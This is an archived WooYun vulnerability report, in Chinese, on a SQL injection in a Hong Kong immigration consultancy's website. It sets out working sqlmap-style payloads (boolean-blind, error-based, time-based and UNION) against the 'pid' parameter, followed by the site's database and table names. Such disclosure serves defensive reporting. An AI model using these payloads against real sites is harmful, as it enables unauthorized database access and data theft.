漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0157483
漏洞标题：御国天下主站另一处SQL注入漏洞（香港地區）
相关厂商：御国天下移民顾问有限公司
漏洞作者： 逆流冰河
提交时间：2015-12-02 08:43
修复时间：2016-01-16 11:48
公开时间：2016-01-16 11:48
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：10
漏洞状态：已交由第三方合作机构(hkcert香港互联网应急协调中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-12-02： 细节已通知厂商并且等待厂商处理中
2015-12-02： 厂商已经确认，细节仅向厂商公开
2015-12-12： 细节向核心白帽子及相关领域专家公开
2015-12-22： 细节向普通白帽子公开
2016-01-01： 细节向实习白帽子公开
2016-01-16： 细节向公众公开
简要描述：
不知道是否重复
详细说明：
1,注入点:http://**.**.**.**/main.php?pid=30
2,注入信息
Parameter: pid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pid=30 AND 4433=4433
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: pid=30 AND (SELECT 5796 FROM(SELECT COUNT(*),CONCAT(0x716a786271,(SELECT (ELT(5796=5796,1))),0x717a716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: pid=30 AND (SELECT * FROM (SELECT(SLEEP(5)))Ervl)
Type: UNION query
Title: Generic UNION query (NULL) - 13 columns
Payload: pid=30 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786271,0x674d4355694a4c645057,0x717a716271),NULL,NULL,NULL--
---
3,数据库
available databases [2]:
[*] information_schema
[*] worldvisa
4,表
[75 tables]
+---------------------------+
| php_about |
| php_about_include |
| php_about_setup |
| php_ad |
| php_article |
| php_article_dir |
| php_article_dir_include |
| php_article_include |
| php_blog_comm |
| php_blog_logs |
| php_blog_logs_dir |
| php_blog_logs_dir_include |
| php_blog_logs_include |
| php_blog_photo_dir |
| php_blog_setup |
| php_case |
| php_case_dir |
| php_case_dir_include |
| php_case_include |
| php_comment |
| php_comment_list |
| php_contact |
| php_contact_include |
| php_down |
| php_down_dir |
| php_down_dir_include |
| php_down_include |
| php_feedback |
| php_groups |
| php_guest |
| php_link |
| php_link_include |
| php_members |
| php_menu |
| php_mpb |
| php_mpb_dir |
| php_mpb_dir_include |
| php_mpb_include |
| php_news |
| php_news_dir |
| php_news_dir_include |
| php_news_include |
| php_person |
| php_person3 |
| php_person_include |
| php_photo |
| php_photo_dir |
| php_photo_dir_include |
| php_photo_include |
| php_plugins |
| php_product |
| php_product_dir |
| php_product_dir_include |
| php_product_include |
| php_product_orders |
| php_resource |
| php_resource_dir |
| php_resource_dir_include |
| php_resource_include |
| php_service |
| php_service_include |
| php_service_online |
| php_setup |
| php_smtpmail |
| php_stat |
| php_stat_acc |
| php_stat_ipk |
| php_stat_ser |
| php_stat_serkey |
| php_stat_site |
| php_statd |
| php_stath |
| php_statip |
| php_statt |
| php_vote |
+---------------------------+
漏洞证明：
Fix
修复方案：
Fix
版权声明：转载请注明来源 逆流冰河@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-12-02 11:46
厂商回复：
Referred to related parties.
最新状态：
暂无